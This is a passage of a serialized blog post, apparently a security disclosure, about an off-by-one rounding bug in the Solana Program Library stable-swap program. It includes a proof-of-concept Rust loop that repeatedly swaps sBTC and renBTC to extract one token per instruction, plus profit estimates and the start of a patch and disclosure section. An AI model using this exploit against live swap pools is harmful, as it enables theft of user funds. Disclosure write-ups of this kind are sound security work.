{\n",{"type":25,"tag":201,"props":4566,"children":4567},{"class":203,"line":311},[4568,4572,4576,4581,4585,4590,4594,4598,4602,4607,4611,4616,4621,4625,4630,4634,4639,4644,4648,4653,4657,4662],{"type":25,"tag":201,"props":4569,"children":4570},{"style":208},[4571],{"type":31,"value":1897},{"type":25,"tag":201,"props":4573,"children":4574},{"style":220},[4575],{"type":31,"value":238},{"type":25,"tag":201,"props":4577,"children":4578},{"style":246},[4579],{"type":31,"value":4580},"y_new",{"type":25,"tag":201,"props":4582,"children":4583},{"style":220},[4584],{"type":31,"value":919},{"type":25,"tag":201,"props":4586,"children":4587},{"style":246},[4588],{"type":31,"value":4589},"_",{"type":25,"tag":201,"props":4591,"children":4592},{"style":220},[4593],{"type":31,"value":385},{"type":25,"tag":201,"props":4595,"children":4596},{"style":261},[4597],{"type":31,"value":1383},{"type":25,"tag":201,"props":4599,"children":4600},{"style":220},[4601],{"type":31,"value":238},{"type":25,"tag":201,"props":4603,"children":4604},{"style":214},[4605],{"type":31,"value":4606},"checked_u8_power",{"type":25,"tag":201,"props":4608,"children":4609},{"style":220},[4610],{"type":31,"value":298},{"type":25,"tag":201,"props":4612,"children":4613},{"style":261},[4614],{"type":31,"value":4615},"&",{"type":25,"tag":201,"props":4617,"children":4618},{"style":246},[4619],{"type":31,"value":4620},"y",{"type":25,"tag":201,"props":4622,"children":4623},{"style":220},[4624],{"type":31,"value":919},{"type":25,"tag":201,"props":4626,"children":4627},{"style":426},[4628],{"type":31,"value":4629},"2",{"type":25,"tag":201,"props":4631,"children":4632},{"style":220},[4633],{"type":31,"value":3073},{"type":25,"tag":201,"props":4635,"children":4636},{"style":261},[4637],{"type":31,"value":4638},"?.",{"type":25,"tag":201,"props":4640,"children":4641},{"style":214},[4642],{"type":31,"value":4643},"checked_add",{"type":25,"tag":201,"props":4645,"children":4646},{"style":220},[4647],{"type":31,"value":298},{"type":25,"tag":201,"props":4649,"children":4650},{"style":246},[4651],{"type":31,"value":4652},"c",{"type":25,"tag":201,"props":4654,"children":4655},{"style":220},[4656],{"type":31,"value":3073},{"type":25,"tag":201,"props":4658,"children":4659},{"style":261},[4660],{"type":31,"value":4661},"?",{"type":25,"tag":201,"props":4663,"children":4664},{"style":220},[4665],{"type":31,"value":4666},")\n",{"type":25,"tag":201,"props":4668,"children":4669},{"class":203,"line":330},[4670,4675,4680,4684,4689,4693,4697,4701,4705,4709,4713,4717,4721,4725,4730,4734,4738,4743,4747,4752,4756,4760,4764,4768],{"type":25,"tag":201,"props":4671,"children":4672},{"style":261},[4673],{"type":31,"value":4674},"            .",{"type":25,"tag":201,"props":4676,"children":4677},{"style":214},[4678],{"type":31,"value":4679},"checked_ceil_div",{"type":25,"tag":201,"props":4681,"children":4682},{"style":220},[4683],{"type":31,"value":298},{"type":25,"tag":201,"props":4685,"children":4686},{"style":214},[4687],{"type":31,"value":4688},"checked_u8_mul",{"type":25,"tag":201,"props":4690,"children":4691},{"style":220},[4692],{"type":31,"value":298},{"type":25,"tag":201,"props":4694,"children":4695},{"style":261},[4696],{"type":31,"value":4615},{"type":25,"tag":201,"props":4698,"children":4699},{"style":246},[4700],{"type":31,"value":4620},{"type":25,"tag":201,"props":4702,"children":4703},{"style":220},[4704],{"type":31,"value":919},{"type":25,"tag":201,"props":4706,"children":4707},{"style":426},[4708],{"type":31,"value":4629},{"type":25,"tag":201,"props":4710,"children":4711},{"style":220},[4712],{"type":31,"value":3073},{"type":25,"tag":201,"props":4714,"children":4715},{"style":261},[4716],{"type":31,"value":4638},{"type":25,"tag":201,"props":4718,"children":4719},{"style":214},[4720],{"type":31,"value":4643},{"type":25,"tag":201,"props":4722,"children":4723},{"style":220},[4724],{"type":31,"value":298},{"type":25,"tag":201,"props":4726,"children":4727},{"style":246},[4728],{"type":31,"value":4729},"b",{"type":25,"tag":201,"props":4731,"children":4732},{"style":220},[4733],{"type":31,"value":3073},{"type":25,"tag":201,"props":4735,"children":4736},{"style":261},[4737],{"type":31,"value":4638},{"type":25,"tag":201,"props":4739,"children":4740},{"style":214},[4741],{"type":31,"value":4742},"checked_sub",{"type":25,"tag":201,"props":4744,"children":4745},{"style":220},[4746],{"type":31,"value":298},{"type":25,"tag":201,"props":4748,"children":4749},{"style":246},[4750],{"type":31,"value":4751},"d_val",{"type":25,"tag":201,"props":4753,"children":4754},{"style":220},[4755],{"type":31,"value":3073},{"type":25,"tag":201,"props":4757,"children":4758},{"style":261},[4759],{"type":31,"value":4661},{"type":25,"tag":201,"props":4761,"children":4762},{"style":220},[4763],{"type":31,"value":3073},{"type":25,"tag":201,"props":4765,"children":4766},{"style":261},[4767],{"type":31,"value":4661},{"type":25,"tag":201,"props":4769,"children":4770},{"style":220},[4771],{"type":31,"value":461},{"type":25,"tag":201,"props":4773,"children":4774},{"class":203,"line":397},[4775,4780,4785,4790,4794],{"type":25,"tag":201,"props":4776,"children":4777},{"style":230},[4778],{"type":31,"value":4779},"        if",{"type":25,"tag":201,"props":4781,"children":4782},{"style":246},[4783],{"type":31,"value":4784}," y_new",{"type":25,"tag":201,"props":4786,"children":4787},{"style":261},[4788],{"type":31,"value":4789}," ==",{"type":25,"tag":201,"props":4791,"children":4792},{"style":246},[4793],{"type":31,"value":4518},{"type":25,"tag":201,"props":4795,"children":4796},{"style":220},[4797],{"type":31,"value":327},{"type":25,"tag":201,"props":4799,"children":4800},{"class":203,"line":437},[4801,4806],{"type":25,"tag":201,"props":4802,"children":4803},{"style":230},[4804],{"type":31,"value":4805},"            break",{"type":25,"tag":201,"props":4807,"children":4808},{"style":220},[4809],{"type":31,"value":461},{"type":25,"tag":201,"props":4811,"children":4812},{"class":203,"line":464},[4813,4818,4822],{"type":25,"tag":201,"props":4814,"children":4815},{"style":220},[4816],{"type":31,"value":4817},"        } ",{"type":25,"tag":201,"props":4819,"children":4820},{"style":230},[4821],{"type":31,"value":322},{"type":25,"tag":201,"props":4823,"children":4824},{"style":220},[4825],{"type":31,"value":327},{"type":25,"tag":201,"props":4827,"children":4828},{"class":203,"line":490},[4829,4834,4838,4842],{"type":25,"tag":201,"props":4830,"children":4831},{"style":246},[4832],{"type":31,"value":4833},"            y",{"type":25,"tag":201,"props":4835,"children":4836},{"style":261},[4837],{"type":31,"value":413},{"type":25,"tag":201,"props":4839,"children":4840},{"style":246},[4841],{"type":31,"value":4784},{"type":25,"tag":201,"props":4843,"children":4844},{"style":220},[4845],{"type":31,"value":461},{"type":25,"tag":201,"props":4847,"children":4848},{"class":203,"line":499},[4849],{"type":25,"tag":201,"props":4850,"children":4851},{"style":220},[4852],{"type":31,"value":4853},"        }\n",{"type":25,"tag":201,"props":4855,"children":4856},{"class":203,"line":522},[4857],{"type":25,"tag":201,"props":4858,"children":4859},{"style":220},[4860],{"type":31,"value":4861},"    }\n",{"type":25,"tag":34,"props":4863,"children":4864},{},[4865,4870],{"type":25,"tag":65,"props":4866,"children":4867},{},[4868],{"type":31,"value":4869},"approximate",{"type":31,"value":4871},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":25,"tag":34,"props":4873,"children":4874},{},[4875],{"type":31,"value":4876},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":25,"tag":191,"props":4878,"children":4880},{"code":4879,"language":4486,"meta":7,"className":4487,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[4881],{"type":25,"tag":115,"props":4882,"children":4883},{"__ignoreMap":7},[4884,4892,4933,4941,4971,4997,5013,5029,5054,5070,5086,5102,5118,5134,5146,5154,5175,5182,5190,5256,5263,5292,5299,5329,5336,5395],{"type":25,"tag":201,"props":4885,"children":4886},{"class":203,"line":204},[4887],{"type":25,"tag":201,"props":4888,"children":4889},{"style":4497},[4890],{"type":31,"value":4891},"// from sbtc to renbtc\n",{"type":25,"tag":201,"props":4893,"children":4894},{"class":203,"line":226},[4895,4900,4905,4909,4913,4918,4923,4929],{"type":25,"tag":201,"props":4896,"children":4897},{"style":230},[4898],{"type":31,"value":4899},"for",{"type":25,"tag":201,"props":4901,"children":4902},{"style":246},[4903],{"type":31,"value":4904}," i",{"type":25,"tag":201,"props":4906,"children":4907},{"style":208},[4908],{"type":31,"value":4549},{"type":25,"tag":201,"props":4910,"children":4911},{"style":426},[4912],{"type":31,"value":4554},{"type":25,"tag":201,"props":4914,"children":4915},{"style":261},[4916],{"type":31,"value":4917}," ..",{"type":25,"tag":201,"props":4919,"children":4920},{"style":426},[4921],{"type":31,"value":4922}," 50",{"type":25,"tag":201,"props":4924,"children":4926},{"style":4925},"--shiki-default:#4EC9B0",[4927],{"type":31,"value":4928},"u8",{"type":25,"tag":201,"props":4930,"children":4931},{"style":220},[4932],{"type":31,"value":327},{"type":25,"tag":201,"props":4934,"children":4935},{"class":203,"line":278},[4936],{"type":25,"tag":201,"props":4937,"children":4938},{"style":4497},[4939],{"type":31,"value":4940},"    // create swap transaction\n",{"type":25,"tag":201,"props":4942,"children":4943},{"class":203,"line":311},[4944,4948,4952,4957,4961,4966],{"type":25,"tag":201,"props":4945,"children":4946},{"style":208},[4947],{"type":31,"value":4508},{"type":25,"tag":201,"props":4949,"children":4950},{"style":208},[4951],{"type":31,"value":4513},{"type":25,"tag":201,"props":4953,"children":4954},{"style":246},[4955],{"type":31,"value":4956}," swap_instruction",{"type":25,"tag":201,"props":4958,"children":4959},{"style":261},[4960],{"type":31,"value":413},{"type":25,"tag":201,"props":4962,"children":4963},{"style":214},[4964],{"type":31,"value":4965}," swap",{"type":25,"tag":201,"props":4967,"children":4968},{"style":220},[4969],{"type":31,"value":4970},"(\n",{"type":25,"tag":201,"props":4972,"children":4973},{"class":203,"line":330},[4974,4979,4984,4989,4993],{"type":25,"tag":201,"props":4975,"children":4976},{"style":261},[4977],{"type":31,"value":4978},"        &",{"type":25,"tag":201,"props":4980,"children":4981},{"style":220},[4982],{"type":31,"value":4983},"spl_token",{"type":25,"tag":201,"props":4985,"children":4986},{"style":261},[4987],{"type":31,"value":4988},"::",{"type":25,"tag":201,"props":4990,"children":4991},{"style":214},[4992],{"type":31,"value":3860},{"type":25,"tag":201,"props":4994,"children":4995},{"style":220},[4996],{"type":31,"value":1104},{"type":25,"tag":201,"props":4998,"children":4999},{"class":203,"line":397},[5000,5004,5009],{"type":25,"tag":201,"props":5001,"children":5002},{"style":261},[5003],{"type":31,"value":4978},{"type":25,"tag":201,"props":5005,"children":5006},{"style":246},[5007],{"type":31,"value":5008},"swap_pubkey",{"type":25,"tag":201,"props":5010,"children":5011},{"style":220},[5012],{"type":31,"value":547},{"type":25,"tag":201,"props":5014,"children":5015},{"class":203,"line":437},[5016,5020,5025],{"type":25,"tag":201,"props":5017,"children":5018},{"style":261},[5019],{"type":31,"value":4978},{"type":25,"tag":201,"props":5021,"children":5022},{"style":246},[5023],{"type":31,"value":5024},"swap_authority_pubkey",{"type":25,"tag":201,"props":5026,"children":5027},{"style":220},[5028],{"type":31,"value":547},{"type":25,"tag":201,"props":5030,"children":5031},{"class":203,"line":464},[5032,5036,5041,5045,5050],{"type":25,"tag":201,"props":5033,"children":5034},{"style":261},[5035],{"type":31,"value":4978},{"type":25,"tag":201,"props":5037,"children":5038},{"style":246},[5039],{"type":31,"value":5040},"test_account_signer",{"type":25,"tag":201,"props":5042,"children":5043},{"style":261},[5044],{"type":31,"value":80},{"type":25,"tag":201,"props":5046,"children":5047},{"style":214},[5048],{"type":31,"value":5049},"pubkey",{"type":25,"tag":201,"props":5051,"children":5052},{"style":220},[5053],{"type":31,"value":1104},{"type":25,"tag":201,"props":5055,"children":5056},{"class":203,"line":490},[5057,5061,5066],{"type":25,"tag":201,"props":5058,"children":5059},{"style":261},[5060],{"type":31,"value":4978},{"type":25,"tag":201,"props":5062,"children":5063},{"style":246},[5064],{"type":31,"value":5065},"sbtc_user_account",{"type":25,"tag":201,"props":5067,"children":5068},{"style":220},[5069],{"type":31,"value":547},{"type":25,"tag":201,"props":5071,"children":5072},{"class":203,"line":499},[5073,5077,5082],{"type":25,"tag":201,"props":5074,"children":5075},{"style":261},[5076],{"type":31,"value":4978},{"type":25,"tag":201,"props":5078,"children":5079},{"style":246},[5080],{"type":31,"value":5081},"sbtc_reserve",{"type":25,"tag":201,"props":5083,"children":5084},{"style":220},[5085],{"type":31,"value":547},{"type":25,"tag":201,"props":5087,"children":5088},{"class":203,"line":522},[5089,5093,5098],{"type":25,"tag":201,"props":5090,"children":5091},{"style":261},[5092],{"type":31,"value":4978},{"type":25,"tag":201,"props":5094,"children":5095},{"style":246},[5096],{"type":31,"value":5097},"renbtc_reserve",{"type":25,"tag":201,"props":5099,"children":5100},{"style":220},[5101],{"type":31,"value":547},{"type":25,"tag":201,"props":5103,"children":5104},{"class":203,"line":531},[5105,5109,5114],{"type":25,"tag":201,"props":5106,"children":5107},{"style":261},[5108],{"type":31,"value":4978},{"type":25,"tag":201,"props":5110,"children":5111},{"style":246},[5112],{"type":31,"value":5113},"renbtc_user_account",{"type":25,"tag":201,"props":5115,"children":5116},{"style":220},[5117],{"type":31,"value":547},{"type":25,"tag":201,"props":5119,"children":5120},{"class":203,"line":550},[5121,5125,5130],{"type":25,"tag":201,"props":5122,"children":5123},{"style":261},[5124],{"type":31,"value":4978},{"type":25,"tag":201,"props":5126,"children":5127},{"style":246},[5128],{"type":31,"value":5129},"admin_fee_account_sbtc_to_ren",{"type":25,"tag":201,"props":5131,"children":5132},{"style":220},[5133],{"type":31,"value":547},{"type":25,"tag":201,"props":5135,"children":5136},{"class":203,"line":563},[5137,5142],{"type":25,"tag":201,"props":5138,"children":5139},{"style":426},[5140],{"type":31,"value":5141},"        1",{"type":25,"tag":201,"props":5143,"children":5144},{"style":220},[5145],{"type":31,"value":547},{"type":25,"tag":201,"props":5147,"children":5148},{"class":203,"line":572},[5149],{"type":25,"tag":201,"props":5150,"children":5151},{"style":426},[5152],{"type":31,"value":5153},"        2\n",{"type":25,"tag":201,"props":5155,"children":5156},{"class":203,"line":590},[5157,5162,5166,5171],{"type":25,"tag":201,"props":5158,"children":5159},{"style":220},[5160],{"type":31,"value":5161},"    )",{"type":25,"tag":201,"props":5163,"children":5164},{"style":261},[5165],{"type":31,"value":80},{"type":25,"tag":201,"props":5167,"children":5168},{"style":214},[5169],{"type":31,"value":5170},"unwrap",{"type":25,"tag":201,"props":5172,"children":5173},{"style":220},[5174],{"type":31,"value":1985},{"type":25,"tag":201,"props":5176,"children":5177},{"class":203,"line":608},[5178],{"type":25,"tag":201,"props":5179,"children":5180},{"emptyLinePlaceholder":17},[5181],{"type":31,"value":496},{"type":25,"tag":201,"props":5183,"children":5184},{"class":203,"line":617},[5185],{"type":25,"tag":201,"props":5186,"children":5187},{"style":4497},[5188],{"type":31,"value":5189},"    // nonce\n",{"type":25,"tag":201,"props":5191,"children":5192},{"class":203,"line":625},[5193,5198,5202,5207,5211,5216,5220,5224,5229,5234,5238,5242,5246,5251],{"type":25,"tag":201,"props":5194,"children":5195},{"style":246},[5196],{"type":31,"value":5197},"    swap_instruction",{"type":25,"tag":201,"props":5199,"children":5200},{"style":261},[5201],{"type":31,"value":80},{"type":25,"tag":201,"props":5203,"children":5204},{"style":220},[5205],{"type":31,"value":5206},"data",{"type":25,"tag":201,"props":5208,"children":5209},{"style":261},[5210],{"type":31,"value":80},{"type":25,"tag":201,"props":5212,"children":5213},{"style":214},[5214],{"type":31,"value":5215},"append",{"type":25,"tag":201,"props":5217,"children":5218},{"style":220},[5219],{"type":31,"value":298},{"type":25,"tag":201,"props":5221,"children":5222},{"style":261},[5223],{"type":31,"value":4615},{"type":25,"tag":201,"props":5225,"children":5226},{"style":208},[5227],{"type":31,"value":5228},"mut",{"type":25,"tag":201,"props":5230,"children":5231},{"style":214},[5232],{"type":31,"value":5233}," vec!",{"type":25,"tag":201,"props":5235,"children":5236},{"style":220},[5237],{"type":31,"value":423},{"type":25,"tag":201,"props":5239,"children":5240},{"style":246},[5241],{"type":31,"value":3641},{"type":25,"tag":201,"props":5243,"children":5244},{"style":220},[5245],{"type":31,"value":919},{"type":25,"tag":201,"props":5247,"children":5248},{"style":246},[5249],{"type":31,"value":5250},"extranonce",{"type":25,"tag":201,"props":5252,"children":5253},{"style":220},[5254],{"type":31,"value":5255},"]);\n",{"type":25,"tag":201,"props":5257,"children":5258},{"class":203,"line":642},[5259],{"type":25,"tag":201,"props":5260,"children":5261},{"emptyLinePlaceholder":17},[5262],{"type":31,"value":496},{"type":25,"tag":201,"props":5264,"children":5265},{"class":203,"line":659},[5266,5270,5274,5279,5283,5287],{"type":25,"tag":201,"props":5267,"children":5268},{"style":208},[5269],{"type":31,"value":4508},{"type":25,"tag":201,"props":5271,"children":5272},{"style":208},[5273],{"type":31,"value":4513},{"type":25,"tag":201,"props":5275,"children":5276},{"style":246},[5277],{"type":31,"value":5278}," instructions",{"type":25,"tag":201,"props":5280,"children":5281},{"style":261},[5282],{"type":31,"value":413},{"type":25,"tag":201,"props":5284,"children":5285},{"style":214},[5286],{"type":31,"value":5233},{"type":25,"tag":201,"props":5288,"children":5289},{"style":220},[5290],{"type":31,"value":5291},"[];\n",{"type":25,"tag":201,"props":5293,"children":5294},{"class":203,"line":667},[5295],{"type":25,"tag":201,"props":5296,"children":5297},{"emptyLinePlaceholder":17},[5298],{"type":31,"value":496},{"type":25,"tag":201,"props":5300,"children":5301},{"class":203,"line":676},[5302,5307,5311,5316,5320,5325],{"type":25,"tag":201,"props":5303,"children":5304},{"style":246},[5305],{"type":31,"value":5306},"    instructions",{"type":25,"tag":201,"props":5308,"children":5309},{"style":261},[5310],{"type":31,"value":80},{"type":25,"tag":201,"props":5312,"children":5313},{"style":214},[5314],{"type":31,"value":5315},"push",{"type":25,"tag":201,"props":5317,"children":5318},{"style":220},[5319],{"type":31,"value":298},{"type":25,"tag":201,"props":5321,"children":5322},{"style":246},[5323],{"type":31,"value":5324},"swap_instruction",{"type":25,"tag":201,"props":5326,"children":5327},{"style":220},[5328],{"type":31,"value":308},{"type":25,"tag":201,"props":5330,"children":5331},{"class":203,"line":694},[5332],{"type":25,"tag":201,"props":5333,"children":5334},{"emptyLinePlaceholder":17},[5335],{"type":31,"value":496},{"type":25,"tag":201,"props":5337,"children":5338},{"class":203,"line":707},[5339,5344,5348,5353,5357,5361,5366,5370,5374,5379,5383,5387,5391],{"type":25,"tag":201,"props":5340,"children":5341},{"style":246},[5342],{"type":31,"value":5343},"    env",{"type":25,"tag":201,"props":5345,"children":5346},{"style":261},[5347],{"type":31,"value":80},{"type":25,"tag":201,"props":5349,"children":5350},{"style":214},[5351],{"type":31,"value":5352},"execute_as_transaction",{"type":25,"tag":201,"props":5354,"children":5355},{"style":220},[5356],{"type":31,"value":298},{"type":25,"tag":201,"props":5358,"children":5359},{"style":261},[5360],{"type":31,"value":4615},{"type":25,"tag":201,"props":5362,"children":5363},{"style":246},[5364],{"type":31,"value":5365},"instructions",{"type":25,"tag":201,"props":5367,"children":5368},{"style":220},[5369],{"type":31,"value":919},{"type":25,"tag":201,"props":5371,"children":5372},{"style":261},[5373],{"type":31,"value":4615},{"type":25,"tag":201,"props":5375,"children":5376},{"style":214},[5377],{"type":31,"value":5378},"vec!",{"type":25,"tag":201,"props":5380,"children":5381},{"style":220},[5382],{"type":31,"value":423},{"type":25,"tag":201,"props":5384,"children":5385},{"style":261},[5386],{"type":31,"value":4615},{"type":25,"tag":201,"props":5388,"children":5389},{"style":246},[5390],{"type":31,"value":5040},{"type":25,"tag":201,"props":5392,"children":5393},{"style":220},[5394],{"type":31,"value":5255},{"type":25,"tag":201,"props":5396,"children":5397},{"class":203,"line":715},[5398],{"type":25,"tag":201,"props":5399,"children":5400},{"style":220},[5401],{"type":31,"value":1187},{"type":25,"tag":34,"props":5403,"children":5404},{},[5405],{"type":31,"value":5406},"It works!",{"type":25,"tag":4439,"props":5408,"children":5409},{},[5410],{"type":25,"tag":34,"props":5411,"children":5412},{},[5413],{"type":31,"value":5414},"holy shit\nyea, this is big",{"type":25,"tag":34,"props":5416,"children":5417},{},[5418],{"type":25,"tag":127,"props":5419,"children":5421},{"alt":7,"src":5420},"/posts/spl-swap/poc.png",[],{"type":25,"tag":26,"props":5423,"children":5425},{"id":5424},"exploitability",[5426],{"type":31,"value":5427},"Exploitability",{"type":25,"tag":34,"props":5429,"children":5430},{},[5431],{"type":31,"value":5432},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":25,"tag":34,"props":5434,"children":5435},{},[5436],{"type":31,"value":5437},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":25,"tag":34,"props":5439,"children":5440},{},[5441],{"type":31,"value":5442},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":25,"tag":34,"props":5444,"children":5445},{},[5446],{"type":25,"tag":127,"props":5447,"children":5449},{"alt":7,"src":5448},"/posts/spl-swap/pr.png",[],{"type":25,"tag":34,"props":5451,"children":5452},{},[5453,5455,5460],{"type":31,"value":5454},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":25,"tag":65,"props":5456,"children":5457},{},[5458],{"type":31,"value":5459},"per instruction",{"type":31,"value":5461},". Transactions on Solana can also contain multiple instructions.",{"type":25,"tag":34,"props":5463,"children":5464},{},[5465],{"type":31,"value":5466},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":25,"tag":34,"props":5468,"children":5469},{},[5470,5472,5477],{"type":31,"value":5471},"Some quick napkin math confirms that this ",{"type":25,"tag":65,"props":5473,"children":5474},{},[5475],{"type":31,"value":5476},"is",{"type":31,"value":5478}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":25,"tag":34,"props":5480,"children":5481},{},[5482],{"type":25,"tag":115,"props":5483,"children":5487},{"className":5484},[5485,5486],"language-math","math-inline",[5488],{"type":25,"tag":201,"props":5489,"children":5492},{"className":5490},[5491],"katex",[5493],{"type":25,"tag":201,"props":5494,"children":5498},{"className":5495,"ariaHidden":5497},[5496],"katex-html","true",[5499,5607,5663,5703],{"type":25,"tag":201,"props":5500,"children":5503},{"className":5501},[5502],"base",[5504,5510,5517,5580,5590,5596,5603],{"type":25,"tag":201,"props":5505,"children":5509},{"className":5506,"style":5508},[5507],"strut","height:0.8141em;",[],{"type":25,"tag":201,"props":5511,"children":5514},{"className":5512},[5513],"mord",[5515],{"type":31,"value":5516},"1",{"type":25,"tag":201,"props":5518,"children":5520},{"className":5519},[5513],[5521,5526],{"type":25,"tag":201,"props":5522,"children":5524},{"className":5523},[5513],[5525],{"type":31,"value":429},{"type":25,"tag":201,"props":5527,"children":5530},{"className":5528},[5529],"msupsub",[5531],{"type":25,"tag":201,"props":5532,"children":5535},{"className":5533},[5534],"vlist-t",[5536],{"type":25,"tag":201,"props":5537,"children":5540},{"className":5538},[5539],"vlist-r",[5541],{"type":25,"tag":201,"props":5542,"children":5545},{"className":5543,"style":5508},[5544],"vlist",[5546],{"type":25,"tag":201,"props":5547,"children":5549},{"style":5548},"top:-3.063em;margin-right:0.05em;",[5550,5556],{"type":25,"tag":201,"props":5551,"children":5555},{"className":5552,"style":5554},[5553],"pstrut","height:2.7em;",[],{"type":25,"tag":201,"props":5557,"children":5563},{"className":5558},[5559,5560,5561,5562],"sizing","reset-size6","size3","mtight",[5564],{"type":25,"tag":201,"props":5565,"children":5567},{"className":5566},[5513,5562],[5568,5574],{"type":25,"tag":201,"props":5569,"children":5571},{"className":5570},[5513,5562],[5572],{"type":31,"value":5573},"−",{"type":25,"tag":201,"props":5575,"children":5577},{"className":5576},[5513,5562],[5578],{"type":31,"value":5579},"8",{"type":25,"tag":201,"props":5581,"children":5583},{"className":5582},[5513,31],[5584],{"type":25,"tag":201,"props":5585,"children":5587},{"className":5586},[5513],[5588],{"type":31,"value":5589}," BTC",{"type":25,"tag":201,"props":5591,"children":5595},{"className":5592,"style":5594},[5593],"mspace","margin-right:0.2222em;",[],{"type":25,"tag":201,"props":5597,"children":5600},{"className":5598},[5599],"mbin",[5601],{"type":31,"value":5602},"∗",{"type":25,"tag":201,"props":5604,"children":5606},{"className":5605,"style":5594},[5593],[],{"type":25,"tag":201,"props":5608,"children":5610},{"className":5609},[5502],[5611,5616,5622,5629,5634,5640,5650,5654,5659],{"type":25,"tag":201,"props":5612,"children":5615},{"className":5613,"style":5614},[5507],"height:1em;vertical-align:-0.25em;",[],{"type":25,"tag":201,"props":5617,"children":5619},{"className":5618},[5513],[5620],{"type":31,"value":5621},"$41",{"type":25,"tag":201,"props":5623,"children":5626},{"className":5624},[5625],"mpunct",[5627],{"type":31,"value":5628},",",{"type":25,"tag":201,"props":5630,"children":5633},{"className":5631,"style":5632},[5593],"margin-right:0.1667em;",[],{"type":25,"tag":201,"props":5635,"children":5637},{"className":5636},[5513],[5638],{"type":31,"value":5639},"400/",{"type":25,"tag":201,"props":5641,"children":5643},{"className":5642},[5513,31],[5644],{"type":25,"tag":201,"props":5645,"children":5647},{"className":5646},[5513],[5648],{"type":31,"value":5649},"BTC",{"type":25,"tag":201,"props":5651,"children":5653},{"className":5652,"style":5594},[5593],[],{"type":25,"tag":201,"props":5655,"children":5657},{"className":5656},[5599],[5658],{"type":31,"value":5602},{"type":25,"tag":201,"props":5660,"children":5662},{"className":5661,"style":5594},[5593],[],{"type":25,"tag":201,"props":5664,"children":5666},{"className":5665},[5502],[5667,5672,5678,5688,5693,5699],{"type":25,"tag":201,"props":5668,"children":5671},{"className":5669,"style":5670},[5507],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":25,"tag":201,"props":5673,"children":5675},{"className":5674},[5513],[5676],{"type":31,"value":5677},"150",{"type":25,"tag":201,"props":5679,"children":5681},{"className":5680},[5513,31],[5682],{"type":25,"tag":201,"props":5683,"children":5685},{"className":5684},[5513],[5686],{"type":31,"value":5687}," swaps",{"type":25,"tag":201,"props":5689,"children":5692},{"className":5690,"style":5691},[5593],"margin-right:0.2778em;",[],{"type":25,"tag":201,"props":5694,"children":5697},{"className":5695},[5696],"mrel",[5698],{"type":31,"value":1383},{"type":25,"tag":201,"props":5700,"children":5702},{"className":5701,"style":5691},[5593],[],{"type":25,"tag":201,"props":5704,"children":5706},{"className":5705},[5502],[5707,5712],{"type":25,"tag":201,"props":5708,"children":5711},{"className":5709,"style":5710},[5507],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":25,"tag":201,"props":5713,"children":5715},{"className":5714},[5513],[5716],{"type":31,"value":5717},"$0.0621",{"type":25,"tag":34,"props":5719,"children":5720},{},[5721],{"type":31,"value":5722},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":25,"tag":34,"props":5724,"children":5725},{},[5726],{"type":31,"value":5727},"We're well on our way to becoming a millionaire!",{"type":25,"tag":26,"props":5729,"children":5731},{"id":5730},"patch",[5732],{"type":31,"value":5733},"Patch",{"type":25,"tag":34,"props":5735,"children":5736},{},[5737],{"type":31,"value":5738},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":25,"tag":34,"props":5740,"children":5741},{},[5742],{"type":31,"value":5743},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":25,"tag":191,"props":5745,"children":5749},{"code":5746,"language":5747,"meta":7,"className":5748,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[5750],{"type":25,"tag":115,"props":5751,"children":5752},{"__ignoreMap":7},[5753],{"type":25,"tag":201,"props":5754,"children":5755},{"class":203,"line":204},[5756,5760,5765,5770,5775,5780,5785],{"type":25,"tag":201,"props":5757,"children":5758},{"style":214},[5759],{"type":31,"value":4388},{"type":25,"tag":201,"props":5761,"children":5762},{"style":267},[5763],{"type":31,"value":5764}," logs",{"type":25,"tag":201,"props":5766,"children":5767},{"style":267},[5768],{"type":31,"value":5769}," -um",{"type":25,"tag":201,"props":5771,"children":5772},{"style":261},[5773],{"type":31,"value":5774}," |",{"type":25,"tag":201,"props":5776,"children":5777},{"style":214},[5778],{"type":31,"value":5779}," grep",{"type":25,"tag":201,"props":5781,"children":5782},{"style":267},[5783],{"type":31,"value":5784}," 'Instruction: Swap'",{"type":25,"tag":201,"props":5786,"children":5787},{"style":267},[5788],{"type":31,"value":5789}," -B1\n",{"type":25,"tag":34,"props":5791,"children":5792},{},[5793],{"type":31,"value":5794},"With some Google dorking, we were able to identify many of these programs.",{"type":25,"tag":191,"props":5796,"children":5798},{"code":5797},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - 